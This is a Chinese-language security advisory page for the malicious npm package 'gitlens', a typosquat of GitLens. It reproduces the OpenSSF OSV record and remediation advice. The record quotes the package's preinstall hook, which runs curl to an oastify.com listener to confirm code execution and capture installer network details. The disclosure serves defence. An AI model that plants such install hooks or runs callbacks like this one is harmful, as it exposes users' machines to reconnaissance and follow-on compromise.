目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

gitlens

MAL-2026-6973
2026-07-09 16:23:01
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in gitlens (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
3
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmgitlens*
npmgitlens9.4.0
npmgitlens9.4.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-09T16:23:01Z","published":"2026-07-08T09:21:00Z","schema_version":"1.7.4","id":"MAL-2026-6973","aliases":["GHSA-mgwg-48mg-h7pg"],"summary":"Malicious code in gitlens (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7)\npackage.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting.\n\n## Source: ghsa-malware (6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\n## Source: ossf-package-analysis (33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395)\nThe OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"gitlens"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["9.4.0","9.4.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"5d0524a24178fcc833c4042d814d31d188a73bed16b3702eafb0feb5cfa25859","tlsh":"9ae0cd389d21983319c007524c5e9546f291df5f29147c095bdf152c91de67748fa25d"}]}}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mgwg-48mg-h7pg"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/gitlens/v/9.4.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/gitlens/v/9.4.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","sha256":"33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395","import_time":"2026-07-08T10:18:19.077608779Z","modified_time":"2026-07-08T09:21:00Z","versions":["9.4.0"]},{"source":"ghsa-malware","sha256":"6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120","import_time":"2026-07-09T13:22:08.528687482Z","id":"GHSA-mgwg-48mg-h7pg","modified_time":"2026-07-09T11:17:55Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"amazon-inspector","sha256":"3632e760faee6d1af9b80a19b7224a7f269f40186f2ab81124a887dbe875f6e1","import_time":"2026-07-09T16:20:53.831866076Z","id":"IN-MAL-2026-009242","modified_time":"2026-07-09T15:48:56Z","versions":["9.4.0"]},{"source":"amazon-inspector","sha256":"c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7","import_time":"2026-07-09T16:20:53.898236683Z","id":"IN-MAL-2026-009243","modified_time":"2026-07-09T15:49:05Z","versions":["9.4.1"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0